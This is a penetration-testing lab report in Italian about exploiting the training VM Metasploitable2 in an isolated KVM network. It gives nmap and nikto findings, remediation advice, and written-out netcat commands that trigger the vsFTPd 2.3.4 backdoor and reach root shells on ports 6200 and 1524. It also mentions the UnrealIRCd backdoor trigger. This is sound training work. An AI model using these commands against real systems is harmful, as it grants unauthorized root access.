
Laboratorio di pentest in rete isolata: enumerazione con nmap/nikto ed exploitation manuale di Metasploitable2 (backdoor vsFTPd CVE-2011-2523, bindshell) con report tecnico completo.
Autore: Daniel Stefan de Jesus dos Reis
Data: Settembre/2026
Ambiente: Laboratorio personale KVM su rete virtuale isolata pentestlab
Questo test è stato eseguito esclusivamente contro una macchina virtuale propria e intenzionalmente vulnerabile, distribuita da Rapid7 specificamente per scopi di formazione in sicurezza offensiva, all'interno di una rete virtuale isolata senza uscita verso internet. Nessun sistema di terze parti è stato acceduto. Questo progetto ha finalità esclusivamente educativa, per lo sviluppo di competenze nei test di intrusione.
pentestlab (bridge virbr-lab), sottorete 192.168.100.0/24, senza <forward> configurato — ovvero, una rete isolata davvero: le VM comunicano tra loro e con l'host, ma non hanno rotta verso l'esterno del laboratorio. XML della rete in .virbr-lab, usando nmap, nikto, gobuster, hydra, sqlmap e netcat.metasploitable2 (Metasploitable2, Ubuntu 8.04 modificato), IP 192.168.100.90/24, assegnato via DHCP dalla rete isolata stessa.[ Host / Atacante ]
|
virbr-lab (rede isolada, sem saída para internet)
|
[ metasploitable2 ]
Ho seguito un flusso di base di ricognizione → enumerazione → sfruttamento → documentazione:
nmap -sV -sC -p-)nikto)nc, per comprendere il meccanismo di ogni falla, non solo "eseguire l'exploit"Comando: nmap -sV -sC -p- -T4 192.168.100.90
Output completo: evidencias/nmap_full_scan.txt
Riepilogo dei servizi più rilevanti trovati:
| Porta | Servizio | Versione | Osservazione |
|---|---|---|---|
| 21/tcp | FTP | vsftpd 2.3.4 | Login anonimo consentito + backdoor nota |
| 22/tcp | SSH | OpenSSH 4.7p1 | Obsoleto |
| 23/tcp | Telnet | Linux telnetd | Protocollo in chiaro |
| 25/tcp | SMTP | Postfix | — |
| 80/tcp | HTTP | Apache 2.2.8 + PHP 5.2.4 | phpMyAdmin e phpinfo.php esposti |
| 139/445/tcp | SMB | Samba 3.0.20-Debian | Firma dei messaggi disabilitata |
| 1099/tcp | Java RMI | GNU Classpath grmiregistry | Storicamente vulnerabile a RCE |
| 1524/tcp | bindshell | — | Shell di root già aperta, senza autenticazione |
| 3306/tcp | MySQL | 5.0.51a-3ubuntu5 | — |
| 3632/tcp | distccd | v1 | Storicamente vulnerabile a RCE (CVE-2004-2687) |
| 5432/tcp | PostgreSQL | 8.3.0–8.3.7 | — |
| 5900/tcp | VNC | protocollo 3.3 | — |
| 6667/6697/tcp | IRC | UnrealIRCd 3.2.8.1 | Versione associata a backdoor nota |
| 8180/tcp | HTTP | Apache Tomcat 5.5 | — |
Tra il 30/06/2011 e il 03/07/2011, il codice sorgente di vsFTPd 2.3.4 reso disponibile per il download è stato manomesso da un attaccante. La versione compromessa contiene una backdoor: al ricevere, nel campo utente del login FTP, una stringa terminante con :), il server apre una shell di root sulla porta TCP 6200, senza alcuna autenticazione.
Passaggi eseguiti (log completo in evidencias/vsftpd_backdoor_exploit.txt):
# 1. Disparar a backdoor enviando USER terminado em ":)"
( printf 'USER test:)\r\n'; sleep 1; printf 'PASS test\r\n'; sleep 2 ) | nc -w 5 192.168.100.90 21
# 2. Conectar na porta 6200, aberta pela backdoor
( printf 'whoami\n'; printf 'id\n'; printf 'uname -a\n'; sleep 2 ) | nc -w 5 192.168.100.90 6200
Risultato:
uid=0(root) gid=0(root)
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
Accesso root completo ottenuto senza autenticazione.
nmap identifica già questo servizio come Metasploitable root shell — una backdoor lasciata intenzionalmente nell'immagine (residuo di un exploit precedente, comune nelle immagini di formazione). Non richiede sfruttamento: basta connettersi.
( printf 'whoami\n'; printf 'id\n'; sleep 2 ) | nc -w 4 192.168.100.90 1524
Risultato: uid=0(root) gid=0(root) groups=0(root) — root immediato.
Log completo in evidencias/bindshell_1524.txt.
La versione di UnrealIRCd in esecuzione sulle porte 6667/6697 corrisponde a una build storicamente distribuita con una backdoor (comando AB; seguito da un comando di shell). Ho tentato di attivare la backdoor manualmente via nc, ma il server ha trattato l'input come un comando IRC non valido (451 :You have not registered) invece di eseguire il comando — o questa immagine specifica non contiene il binario trojanizzato, oppure il payload necessita di una messa a punto che non ho prioritizzato in questo ciclo. Registro questo come tentativo senza successo, non come vulnerabilità confermata.
Servizio di compilazione distribuita che accetta comandi arbitrari da qualsiasi client che si connetta, senza autenticazione. Identificato per versione, non sfruttato in questo ciclo.
Storicamente vulnerabile a esecuzione remota di codice tramite deserializzazione. Identificato per versione, non sfruttato in questo ciclo.
Comando: nikto -h 192.168.100.90 -p 80
Output completo: evidencias/nikto_scan.txt
Principali risultati:
TRACE attivo (potenziale XST)/phpinfo.php esposto pubblicamente (rivela la configurazione di PHP)/phpMyAdmin/ accessibile senza restrizione di IP/doc/, /test/ e /icons/httponly| Riscontro | Raccomandazione |
|---|---|
| Backdoor vsFTPd 2.3.4 | Non usare mai binari da fonti non ufficiali/non verificate; validare hash/firma dei pacchetti prima di installare |
| Bindshell sulla porta 1524 | Verificare regolarmente le porte aperte (nmap interno periodico); qualsiasi shell non documentata è un incidente |
| distccd esposto senza autenticazione | Limitare a host fidati tramite firewall o disabilitare se non è in uso attivo per build distribuite |
| phpMyAdmin/phpinfo.php esposti | Limitare l'accesso per IP/VPN, non esporre mai pubblicamente strumenti amministrativi |
| Apache/PHP obsoleti | Mantenere attivo un processo di patch management |
| Listato delle directory abilitato | Disabilitare Options Indexes in Apache |
| SMB con firma dei messaggi disabilitata | Abilitare server signing = mandatory |
pentestlab, invece di attaccare direttamente dall'host